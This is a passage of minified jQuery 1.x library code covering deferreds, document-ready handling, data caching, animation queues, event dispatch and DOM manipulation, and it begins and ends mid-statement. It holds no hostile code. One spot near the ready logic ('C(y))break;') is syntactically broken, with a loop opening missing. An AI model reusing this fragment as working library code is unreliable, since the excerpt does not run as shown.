Array(a);r<a;r++)o[r]&&C.isFunction(o[r].promise)?o[r].promise().progress(l(r,t,i)).done(l(r,n,o)).fail(u.reject):--s;return s||u.resolveWith(n,o),u.promise()}}),C.fn.ready=function(e){return C.ready.promise().done(e),this},C.extend({isReady:!1,readyWait:1,holdReady:function(e){e?C.readyWait++:C.ready(!0)},ready:function(e){(!0===e?--C.readyWait:C.isReady)||(C.isReady=!0)!==e&&0<--C.readyWait||(re.resolveWith(g,[C]),C.fn.triggerHandler&&(C(g).triggerHandler(\"ready\"),C(g).off(\"ready\")))}}),C.ready.promise=function(e){if(!re)if(re=C.Deferred(),\"complete\"===g.readyState||\"loading\"!==g.readyState&&!g.documentElement.doScroll)T.setTimeout(C.ready);else if(g.addEventListener)g.addEventListener(\"DOMContentLoaded\",i),T.addEventListener(\"load\",i);else{g.attachEvent(\"onreadystatechange\",i),T.attachEvent(\"onload\",i);var t=!1;try{t=null==T.frameElement&&g.documentElement}catch(n){}t&&t.doScroll&&!function r(){if(!C.isReady){try{t.doScroll(\"left\")}catch(n){return T.setTimeout(r,50)}oe(),C.ready()}}()}return re.promise(e)},C.ready.promise(),C(y))break;y.ownFirst=\"0\"===ie,y.inlineBlockNeedsLayout=!1,C(function(){var e,t,n=g.getElementsByTagName(\"body\")[0];n&&n.style&&(e=g.createElement(\"div\"),(t=g.createElement(\"div\")).style.cssText=\"position:absolute;border:0;width:0;height:0;top:0;left:-9999px\",n.appendChild(t).appendChild(e),\"undefined\"!=typeof e.style.zoom&&(e.style.cssText=\"display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1\",y.inlineBlockNeedsLayout=e=3===e.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(t))});e=g.createElement(\"div\");y.deleteExpando=!0;try{delete e.test}catch(yn){y.deleteExpando=!1}var o,v=function(e){var t=C.noData[(e.nodeName+\" \").toLowerCase()],n=+e.nodeType||1;return(1===n||9===n)&&(!t||!0!==t&&e.getAttribute(\"classid\")===t)},ae=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,se=/([A-Z])/g;function ue(e,t,n){if(n===undefined&&1===e.nodeType){var r=\"data-\"+t.replace(se,\"-$1\").toLowerCase();if(\"string\"==typeof(n=e.getAttribute(r))){try{n=\"true\"===n||\"false\"!==n&&(\"null\"===n?null:+n+\"\"===n?+n:ae.test(n)?C.parseJSON(n):n)}catch(i){}C.data(e,t,n)}else n=undefined}return n}function le(e){for(var t in e)if((\"data\"!==t||!C.isEmptyObject(e[t]))&&\"toJSON\"!==t)return;return 1}function ce(e,t,n,r){if(v(e)){var i,o=C.expando,a=e.nodeType,s=a?C.cache:e,u=a?e[o]:e[o]&&o;if(u&&s[u]&&(r||s[u].data)||n!==undefined||\"string\"!=typeof t)return s[u=u||(a?e[o]=f.pop()||C.guid++:o)]||(s[u]=a?{}:{toJSON:C.noop}),\"object\"!=typeof t&&\"function\"!=typeof t||(r?s[u]=C.extend(s[u],t):s[u].data=C.extend(s[u].data,t)),e=s[u],r||(e.data||(e.data={}),e=e.data),n!==undefined&&(e[C.camelCase(t)]=n),\"string\"==typeof t?null==(i=e[t])&&(i=e[C.camelCase(t)]):i=e,i}}function fe(e,t,n){if(v(e)){var r,i,o=e.nodeType,a=o?C.cache:e,s=o?e[C.expando]:C.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){i=(t=C.isArray(t)?t.concat(C.map(t,C.camelCase)):t in r||(t=C.camelCase(t))in r?[t]:t.split(\" \")).length;for(;i--;)delete r[t[i]];if(n?!le(r):!C.isEmptyObject(r))return}(n||(delete a[s].data,le(a[s])))&&(o?C.cleanData([e],!0):y.deleteExpando||a!=a.window?delete a[s]:a[s]=undefined)}}}C.extend({cache:{},noData:{\"applet \":!0,\"embed \":!0,\"object \":\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"},hasData:function(e){return!!(e=e.nodeType?C.cache[e[C.expando]]:e[C.expando])&&!le(e)},data:function(e,t,n){return ce(e,t,n)},removeData:function(e,t){return fe(e,t)},_data:function(e,t,n){return ce(e,t,n,!0)},_removeData:function(e,t){return fe(e,t,!0)}}),C.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(e!==undefined)return\"object\"==typeof e?this.each(function(){C.data(this,e)}):1<arguments.length?this.each(function(){C.data(this,e,t)}):o?ue(o,e,C.data(o,e)):undefined;if(this.length&&(i=C.data(o),1===o.nodeType&&!C._data(o,\"parsedAttrs\"))){for(n=a.length;n--;)a[n]&&0===(r=a[n].name).indexOf(\"data-\")&&ue(o,r=C.camelCase(r.slice(5)),i[r]);C._data(o,\"parsedAttrs\",!0)}return i},removeData:function(e){return this.each(function(){C.removeData(this,e)})}}),C.extend({queue:function(e,t,n){var r;if(e)return r=C._data(e,t=(t||\"fx\")+\"queue\"),n&&(!r||C.isArray(n)?r=C._data(e,t,C.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||\"fx\";var n=C.queue(e,t),r=n.length,i=n.shift(),o=C._queueHooks(e,t);\"inprogress\"===i&&(i=n.shift(),r--),i&&(\"fx\"===t&&n.unshift(\"inprogress\"),delete o.stop,i.call(e,function(){C.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return C._data(e,n)||C._data(e,n,{empty:C.Callbacks(\"once memory\").add(function(){C._removeData(e,t+\"queue\"),C._removeData(e,n)})})}}),C.fn.extend({queue:function(t,n){var e=2;return\"string\"!=typeof t&&(n=t,t=\"fx\",e--),arguments.length<e?C.queue(this[0],t):n===undefined?this:this.each(function(){var e=C.queue(this,t,n);C._queueHooks(this,t),\"fx\"===t&&\"inprogress\"!==e[0]&&C.dequeue(this,t)})},dequeue:function(e){return this.each(function(){C.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,t){var n,r=1,i=C.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};for(\"string\"!=typeof e&&(t=e,e=undefined),e=e||\"fx\";a--;)(n=C._data(o[a],e+\"queueHooks\"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}}),y.shrinkWrapBlocks=function(){return null!=o?o:(o=!1,(t=g.getElementsByTagName(\"body\")[0])&&t.style?(e=g.createElement(\"div\"),(n=g.createElement(\"div\")).style.cssText=\"position:absolute;border:0;width:0;height:0;top:0;left:-9999px\",t.appendChild(n).appendChild(e),\"undefined\"!=typeof e.style.zoom&&(e.style.cssText=\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1\",e.appendChild(g.createElement(\"div\")).style.width=\"5px\",o=3!==e.offsetWidth),t.removeChild(n),o):void 0);var e,t,n};var e=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,de=new RegExp(\"^(?:([+-])=|)(\"+e+\")([a-z%]*)$\",\"i\"),s=[\"Top\",\"Right\",\"Bottom\",\"Left\"],pe=function(e,t){return\"none\"===C.css(e=t||e,\"display\")||!C.contains(e.ownerDocument,e)};function he(e,t,n,r){var i,o=1,a=20,s=r?function(){return r.cur()}:function(){return C.css(e,t,\"\")},u=s(),l=n&&n[3]||(C.cssNumber[t]?\"\":\"px\"),c=(C.cssNumber[t]||\"px\"!==l&&+u)&&de.exec(C.css(e,t));if(c&&c[3]!==l)for(l=l||c[3],n=n||[],c=+u||1;c/=o=o||\".5\",C.style(e,t,c+l),o!==(o=s()/u)&&1!==o&&--a;);return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var d=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if(\"object\"===C.type(n))for(s in i=!0,n)d(e,t,s,n[s],!0,o,a);else if(r!==undefined&&(i=!0,C.isFunction(r)||(a=!0),t=l?a?(t.call(e,r),null):(l=t,function(e,t,n){return l.call(C(e),n)}):t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},ge=/^(?:checkbox|radio)$/i,me=/<([\\w:-]+)/,ye=/^$|\\/(?:java|ecma)script/i,ve=/^\\s+/,xe=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video\";function be(e){var t=xe.split(\"|\"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}S=g.createElement(\"div\"),k=g.createDocumentFragment(),q=g.createElement(\"input\"),S.innerHTML=\"  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",y.leadingWhitespace=3===S.firstChild.nodeType,y.tbody=!S.getElementsByTagName(\"tbody\").length,y.htmlSerialize=!!S.getElementsByTagName(\"link\").length,y.html5Clone=\"<:nav></:nav>\"!==g.createElement(\"nav\").cloneNode(!0).outerHTML,q.type=\"checkbox\",q.checked=!0,k.appendChild(q),y.appendChecked=q.checked,S.innerHTML=\"<textarea>x</textarea>\",y.noCloneChecked=!!S.cloneNode(!0).lastChild.defaultValue,k.appendChild(S),(q=g.createElement(\"input\")).setAttribute(\"type\",\"radio\"),q.setAttribute(\"checked\",\"checked\"),q.setAttribute(\"name\",\"t\"),S.appendChild(q),y.checkClone=S.cloneNode(!0).cloneNode(!0).lastChild.checked,y.noCloneEvent=!!S.addEventListener,S[C.expando]=1,y.attributes=!S.getAttribute(C.expando);var x={option:[1,\"<select multiple='multiple'>\",\"</select>\"],legend:[1,\"<fieldset>\",\"</fieldset>\"],area:[1,\"<map>\",\"</map>\"],param:[1,\"<object>\",\"</object>\"],thead:[1,\"<table>\",\"</table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],col:[2,\"<table><tbody></tbody><colgroup>\",\"</colgroup></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:y.htmlSerialize?[0,\"\",\"\"]:[1,\"X<div>\",\"</div>\"]};function b(e,t){var n,r,i=0,o=\"undefined\"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||\"*\"):\"undefined\"!=typeof e.querySelectorAll?e.querySelectorAll(t||\"*\"):undefined;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||C.nodeName(r,t)?o.push(r):C.merge(o,b(r,t));return t===undefined||t&&C.nodeName(e,t)?C.merge([e],o):o}function we(e,t){for(var n,r=0;null!=(n=e[r]);r++)C._data(n,\"globalEval\",!t||C._data(t[r],\"globalEval\"))}x.optgroup=x.option,x.tbody=x.tfoot=x.colgroup=x.caption=x.thead,x.th=x.td;var Te=/<|&#?\\w+;/,Ce=/<tbody/i;function Ee(e){ge.test(e.type)&&(e.defaultChecked=e.checked)}function Ne(e,t,n,r,i){for(var o,a,s,u,l,c,f,d=e.length,p=be(t),h=[],g=0;g<d;g++)if((a=e[g])||0===a)if(\"object\"===C.type(a))C.merge(h,a.nodeType?[a]:a);else if(Te.test(a)){for(u=u||p.appendChild(t.createElement(\"div\")),l=(me.exec(a)||[\"\",\"\"])[1].toLowerCase(),f=x[l]||x._default,u.innerHTML=f[1]+C.htmlPrefilter(a)+f[2],o=f[0];o--;)u=u.lastChild;if(!y.leadingWhitespace&&ve.test(a)&&h.push(t.createTextNode(ve.exec(a)[0])),!y.tbody)for(o=(a=\"table\"!==l||Ce.test(a)?\"<table>\"!==f[1]||Ce.test(a)?0:u:u.firstChild)&&a.childNodes.length;o--;)C.nodeName(c=a.childNodes[o],\"tbody\")&&!c.childNodes.length&&a.removeChild(c);for(C.merge(h,u.childNodes),u.textContent=\"\";u.firstChild;)u.removeChild(u.firstChild);u=p.lastChild}else h.push(t.createTextNode(a));for(u&&p.removeChild(u),y.appendChecked||C.grep(b(h,\"input\"),Ee),g=0;a=h[g++];)if(r&&-1<C.inArray(a,r))i&&i.push(a);else if(s=C.contains(a.ownerDocument,a),u=b(p.appendChild(a),\"script\"),s&&we(u),n)for(o=0;a=u[o++];)ye.test(a.type||\"\")&&n.push(a);return u=null,p}var ke,Se,Ae=g.createElement(\"div\");for(ke in{submit:!0,change:!0,focusin:!0})(y[ke]=(Se=\"on\"+ke)in T)||(Ae.setAttribute(Se,\"t\"),y[ke]=!1===Ae.attributes[Se].expando);var De=/^(?:input|select|textarea)$/i,je=/^key/,Le=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,He=/^(?:focusinfocus|focusoutblur)$/,qe=/^([^.]*)(?:\\.(.+)|)/;function _e(){return!0}function u(){return!1}function Fe(){try{return g.activeElement}catch(e){}}function Me(e,t,n,r,i,o){var a,s;if(\"object\"==typeof t){for(s in\"string\"!=typeof n&&(r=r||n,n=undefined),t)Me(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=undefined):null==i&&(\"string\"==typeof n?(i=r,r=undefined):(i=r,r=n,n=undefined)),!1===i)i=u;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return C().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=C.guid++)),e.each(function(){C.event.add(this,t,i,r,n)})}C.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,d,p,h=C._data(e);if(h)for(n.handler&&(n=(s=n).handler,i=s.selector),n.guid||(n.guid=C.guid++),(o=h.events)||(o=h.events={}),(l=h.handle)||((l=h.handle=function(e){return void 0===C||e&&C.event.triggered===e.type?undefined:C.event.dispatch.apply(l.elem,arguments)}).elem=e),a=(t=(t||\"\").match(E)||[\"\"]).length;a--;)f=p=(d=qe.exec(t[a])||[])[1],d=(d[2]||\"\").split(\".\").sort(),f&&(u=C.event.special[f]||{},f=(i?u.delegateType:u.bindType)||f,u=C.event.special[f]||{},p=C.extend({type:f,origType:p,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&C.expr.match.needsContext.test(i),namespace:d.join(\".\")},s),(c=o[f])||((c=o[f]=[]).delegateCount=0,u.setup&&!1!==u.setup.call(e,r,d,l)||(e.addEventListener?e.addEventListener(f,l,!1):e.attachEvent&&e.attachEvent(\"on\"+f,l))),u.add&&(u.add.call(e,p),p.handler.guid||(p.handler.guid=n.guid)),i?c.splice(c.delegateCount++,0,p):c.push(p),C.event.global[f]=!0)},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,d,p,h,g,m=C.hasData(e)&&C._data(e);if(m&&(c=m.events)){for(l=(t=(t||\"\").match(E)||[\"\"]).length;l--;)if(p=g=(s=qe.exec(t[l])||[])[1],h=(s[2]||\"\").split(\".\").sort(),p){for(f=C.event.special[p]||{},d=c[p=(r?f.delegateType:f.bindType)||p]||[],s=s[2]&&new RegExp(\"(^|\\\\.)\"+h.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),u=o=d.length;o--;)a=d[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&(\"**\"!==r||!a.selector)||(d.splice(o,1),a.selector&&d.delegateCount--,f.remove&&f.remove.call(e,a));u&&!d.length&&(f.teardown&&!1!==f.teardown.call(e,h,m.handle)||C.removeEvent(e,p,m.handle),delete c[p])}else for(p in c)C.event.remove(e,p+t[l],n,r,!0);C.isEmptyObject(c)&&(delete m.handle,C._removeData(e,\"events\"))}},trigger:function(e,t,n,r){var i,o,a,s,u,l,c=[n||g],f=m.call(e,\"type\")?e.type:e,d=m.call(e,\"namespace\")?e.namespace.split(\".\"):[],p=u=n=n||g;if(3!==n.nodeType&&8!==n.nodeType&&!He.test(f+C.event.triggered)&&(-1<f.indexOf(\".\")&&(f=(d=f.split(\".\")).shift(),d.sort()),o=f.indexOf(\":\")<0&&\"on\"+f,(e=e[C.expando]?e:new C.Event(f,\"object\"==typeof e&&e)).isTrigger=r?2:3,e.namespace=d.join(\".\"),e.rnamespace=e.namespace?new RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,e.result=undefined,e.target||(e.target=n),t=null==t?[e]:C.makeArray(t,[e]),s=C.event.special[f]||{},r||!s.trigger||!1!==s.trigger.apply(n,t))){if(!r&&!s.noBubble&&!C.isWindow(n)){for(a=s.delegateType||f,He.test(a+f)||(p=p.parentNode);p;p=p.parentNode)c.push(p),u=p;u===(n.ownerDocument||g)&&c.push(u.defaultView||u.parentWindow||T)}for(l=0;(p=c[l++])&&!e.isPropagationStopped();)e.type=1<l?a:s.bindType||f,(i=(C._data(p,\"events\")||{})[e.type]&&C._data(p,\"handle\"))&&i.apply(p,t),(i=o&&p[o])&&i.apply&&v(p)&&(e.result=i.apply(p,t),!1===e.result&&e.preventDefault());if(e.type=f,!r&&!e.isDefaultPrevented()&&(!s._default||!1===s._default.apply(c.pop(),t))&&v(n)&&o&&n[f]&&!C.isWindow(n)){(u=n[o])&&(n[o]=null),C.event.triggered=f;try{n[f]()}catch(h){}C.event.triggered=undefined,u&&(n[o]=u)}return e.result}},dispatch:function(e){e=C.event.fix(e);var t,n,r,i,o,a=c.call(arguments),s=(C._data(this,\"events\")||{})[e.type]||[],u=C.event.special[e.type]||{};if((a[0]=e).delegateTarget=this,!u.preDispatch||!1!==u.preDispatch.call(this,e)){for(o=C.event.handlers.call(this,e,s),t=0;(r=o[t++])&&!e.isPropagationStopped();)for(e.currentTarget=r.elem,n=0;(i=r.handlers[n++])&&!e.isImmediatePropagationStopped();)e.rnamespace&&!e.rnamespace.test(i.namespace)||(e.handleObj=i,e.data=i.data,(i=((C.event.special[i.origType]||{}).handle||i.handler).apply(r.elem,a))!==undefined&&!1===(e.result=i)&&(e.preventDefault(),e.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,u=e.target;if(s&&u.nodeType&&(\"click\"!==e.type||isNaN(e.button)||e.button<1))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(!0!==u.disabled||\"click\"!==e.type)){for(r=[],n=0;n<s;n++)r[i=(o=t[n]).selector+\" \"]===undefined&&(r[i]=o.needsContext?-1<C(i,this).index(u):C.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&a.push({elem:u,handlers:r})}return s<t.length&&a.push({elem:this,handlers:t.slice(s)}),a},fix:function(e){if(e[C.expando])return e;var t,n,r,i=e.type,o=e,a=this.fixHooks[i];for(a||(this.fixHooks[i]=a=Le.test(i)?this.mouseHooks:je.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new C.Event(o),t=r.length;t--;)e[n=r[t]]=o[n];return e.target||(e.target=o.srcElement||g),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,a.filter?a.filter(e,o):e},props:\"altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(e,t){var n,r,i=t.button,o=t.fromElement;return null==e.pageX&&null!=t.clientX&&(r=(n=e.target.ownerDocument||g).documentElement,n=n.body,e.pageX=t.clientX+(r&&r.scrollLeft||n&&n.scrollLeft||0)-(r&&r.clientLeft||n&&n.clientLeft||0),e.pageY=t.clientY+(r&&r.scrollTop||n&&n.scrollTop||0)-(r&&r.clientTop||n&&n.clientTop||0)),!e.relatedTarget&&o&&(e.relatedTarget=o===e.target?t.toElement:o),e.which||i===undefined||(e.which=1&i?1:2&i?3:4&i?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Fe()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:\"focusin\"},blur:{trigger:function(){if(this===Fe()&&this.blur)return this.blur(),!1},delegateType:\"focusout\"},click:{trigger:function(){if(C.nodeName(this,\"input\")&&\"checkbox\"===this.type&&this.click)return this.click(),!1},_default:function(e){return C.nodeName(e.target,\"a\")}},beforeunload:{postDispatch:function(e){e.result!==undefined&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n){e=C.extend(new C.Event,n,{type:e,isSimulated:!0});C.event.trigger(e,null,t),e.isDefaultPrevented()&&n.preventDefault()}},C.removeEvent=g.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)}:function(e,t,n){t=\"on\"+t;e.detachEvent&&(\"undefined\"==typeof e[t]&&(e[t]=null),e.detachEvent(t,n))},C.Event=function(e,t){if(!(this instanceof C.Event))return new C.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.defaultPrevented===undefined&&!1===e.returnValue?_e:u):this.type=e,t&&C.extend(this,t),this.timeStamp=e&&e.timeStamp||C.now(),this[C.expando]=!0},C.Event.prototype={constructor:C.Event,isDefaultPrevented:u,isPropagationStopped:u,isImmediatePropagationStopped:u,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=_e,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=_e,e&&!this.isSimulated&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=_e,e&&e.stopImmediatePropagation&&e.stopImmediatePropagation(),this.stopPropagation()}},C.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\",pointerenter:\"pointerover\",pointerleave:\"pointerout\"},function(e,i){C.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||C.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),y.submit||(C.event.special.submit={setup:function(){if(C.nodeName(this,\"form\"))return!1;C.event.add(this,\"click._submit keypress._submit\",function(e){e=e.target,e=C.nodeName(e,\"input\")||C.nodeName(e,\"button\")?C.prop(e,\"form\"):undefined;e&&!C._data(e,\"submit\")&&(C.event.add(e,\"submit._submit\",function(e){e._submitBubble=!0}),C._data(e,\"submit\",!0))})},postDispatch:function(e){e._submitBubble&&(delete e._submitBubble,this.parentNode&&!e.isTrigger&&C.event.simulate(\"submit\",this.parentNode,e))},teardown:function(){if(C.nodeName(this,\"form\"))return!1;C.event.remove(this,\"._submit\")}}),y.change||(C.event.special.change={setup:function(){if(De.test(this.nodeName))return\"checkbox\"!==this.type&&\"radio\"!==this.type||(C.event.add(this,\"propertychange._change\",function(e){\"checked\"===e.originalEvent.propertyName&&(this._justChanged=!0)}),C.event.add(this,\"click._change\",function(e){this._justChanged&&!e.isTrigger&&(this._justChanged=!1),C.event.simulate(\"change\",this,e)})),!1;C.event.add(this,\"beforeactivate._change\",function(e){e=e.target;De.test(e.nodeName)&&!C._data(e,\"change\")&&(C.event.add(e,\"change._change\",function(e){!this.parentNode||e.isSimulated||e.isTrigger||C.event.simulate(\"change\",this.parentNode,e)}),C._data(e,\"change\",!0))})},handle:function(e){var t=e.target;if(this!==t||e.isSimulated||e.isTrigger||\"radio\"!==t.type&&\"checkbox\"!==t.type)return e.handleObj.handler.apply(this,arguments)},teardown:function(){return C.event.remove(this,\"._change\"),!De.test(this.nodeName)}}),y.focusin||C.each({focus:\"focusin\",blur:\"focusout\"},function(n,r){var i=function(e){C.event.simulate(r,e.target,C.event.fix(e))};C.event.special[r]={setup:function(){var e=this.ownerDocument||this,t=C._data(e,r);t||e.addEventListener(n,i,!0),C._data(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this,t=C._data(e,r)-1;t?C._data(e,r,t):(e.removeEventListener(n,i,!0),C._removeData(e,r))}}}),C.fn.extend({on:function(e,t,n,r){return Me(this,e,t,n,r)},one:function(e,t,n,r){return Me(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,C(e.delegateTarget).off(r.namespace?r.origType+\".\"+r.namespace:r.origType,r.selector,r.handler),this;if(\"object\"!=typeof e)return!1!==t&&\"function\"!=typeof t||(n=t,t=undefined),!1===n&&(n=u),this.each(function(){C.event.remove(this,e,n,t)});for(i in e)this.off(i,t,e[i]);return this},trigger:function(e,t){return this.each(function(){C.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return C.event.trigger(e,t,n,!0)}});var Oe=/ jQuery\\d+=\"(?:null|\\d+)\"/g,Re=new RegExp(\"<(?:\"+xe+\")[\\\\s/>]\",\"i\"),Pe=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:-]+)[^>]*)\\/>/gi,Be=/<script|<style|<link/i,We=/checked\\s*(?:[^=]|=\\s*.checked.)/i,Ie=/^true\\/(.*)/,$e=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g,ze=be(g).appendChild(g.createElement(\"div\"));function Xe(e,t){return C.nodeName(e,\"table\")&&C.nodeName(11!==t.nodeType?t:t.firstChild,\"tr\")?e.getElementsByTagName(\"tbody\")[0]||e.appendChild(e.ownerDocument.createElement(\"tbody\")):e}function Ue(e){return e.type=(null!==C.find.attr(e,\"type\"))+\"/\"+e.type,e}function Ve(e){var t=Ie.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\"type\"),e}function Ye(e,t){if(1===t.nodeType&&C.hasData(e)){var n,r,i,e=C._data(e),o=C._data(t,e),a=e.events;if(a)for(n in delete o.handle,o.events={},a)for(r=0,i=a[n].length;r<i;r++)C.event.add(t,n,a[n][r]);o.data&&(o.data=C.extend({},o.data))}}function w(n,r,i,o){r=O.apply([],r);var e,t,a,s,u,l,c=0,f=n.length,d=f-1,p=r[0],h=C.isFunction(p);if(h||1<f&&\"string\"==typeof p&&!y.checkClone&&We.test(p))return n.each(function(e){var t=n.eq(e);h&&(r[0]=p.call(this,e,t.html())),w(t,r,i,o)});if(f&&(e=(l=Ne(r,n[0].ownerDocument,!1,n,o)).firstChild,1===l.childNodes.length&&(l=e),e||o)){for(a=(s=C.map(b(l,\"script\"),Ue)).length;c<f;c++)t=l,c!==d&&(t=C.clone(t,!0,!0),a&&C.merge(s,b(t,\"script\"))),i.call(n[c],t,c);if(a)for(u=s[s.length-1].ownerDocument,C.map(s,Ve),c=0;c<a;c++)t=s[c],ye.test(t.type||\"\")&&!C._data(t,\"globalEval\")&&C.contains(u,t)&&(t.src?C._evalUrl&&C._evalUrl(t.src):C.globalEval((t.text||t.textContent||t.innerHTML||\"\").replace($e,\"\")));l=e=null}return n}function Je(e,t,n){for(var r,i=t?C.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||C.cleanData(b(r)),r.parentNode&&(n&&C.contains(r.ownerDocument,r)&&we(b(r,\"script\")),r.parentNode.removeChild(r));return e}C.extend({htmlPrefilter:function(e){return e.replace(Pe,\"<$1></$2>\")},clone:function(e,t,n){var r,i,o,a,s,u=C.contains(e.ownerDocument,e);if(y.html5Clone||C.isXMLDoc(e)||!Re.test(\"<\"+e.nodeName+\">\")?o=e.cloneNode(!0):(ze.innerHTML=e.outerHTML,ze.removeChild(o=ze.firstChild)),!(y.noCloneEvent&&y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||C.isXMLDoc(e)))for(r=b(o),s=b(e),a=0;null!=(i=s[a]);++a)if(r[a]){f=c=l=p=d=void 0;var l,c,f,d=i,p=r[a];if(1===p.nodeType){if(l=p.nodeName.toLowerCase(),!y.noCloneEvent&&p[C.expando]){for(c in(f=C._data(p)).events)C.removeEvent(p,c,f.handle);p.removeAttribute(C.expando)}\"script\"===l&&p.text!==d.text?(Ue(p).text=d.text,Ve(p)):\"object\"===l?(p.parentNode&&(p.outerHTML=d.outerHTML),y.html5Clone&&d.innerHTML&&!C.trim(p.innerHTML)&&(p.innerHTML=d.innerHTML)):\"input\"===l&&ge.test(d.type)?(p.defaultChecked=p.checked=d.checked,p.value!==d.value&&(p.value=d.value)):\"option\"===l?p.defaultSelected=p.selected=d.defaultSelected:\"input\"!==l&&\"textarea\"!==l||(p.defaultValue=d.defaultValue)}}if(t)if(n)for(s=s||b(e),r=r||b(o),a=0;null!=(i=s[a]);a++)Ye(i,r[a]);else Ye(e,o);return 0<(r=b(o,\"script\")).length&&we(r,!u&&b(e,\"script\")),r=s=i=null,o},cleanData:function(e,t){for(var n,r,i,o,a=0,s=C.expando,u=C.cache,l=y.attributes,c=C.event.special;null!=(n=e[a]);a++)if((t||v(n))&&(o=(i=n[s])&&u[i])){if(o.events)for(r in o.events)c[r]?C.event.remove(n,r):C.removeEvent(n,r,o.handle);u[i]&&(delete u[i],l||\"undefined\"==typeof n.removeAttribute?n[s]=undefined:n.removeAttribute(s),f.push(i))}}}),C.fn.extend({domManip:w,detach:function(e){return Je(this,e,!0)},remove:function(e){return Je(this,e)},text:function(e){return d(this,function(e){return e===undefined?C.text(this):this.empty().append((this[0]&&this[0].ownerDocument||g).createTextNode(e))},null,e,arguments.length)},append:function(){return w(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Xe(this,e).appendChild(e)})},prepend:function(){return w(this,arguments,function(e){var t;1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(t=Xe(this,e)).insertBefore(e,t.firstChild)})},before:function(){return w(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return w(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var 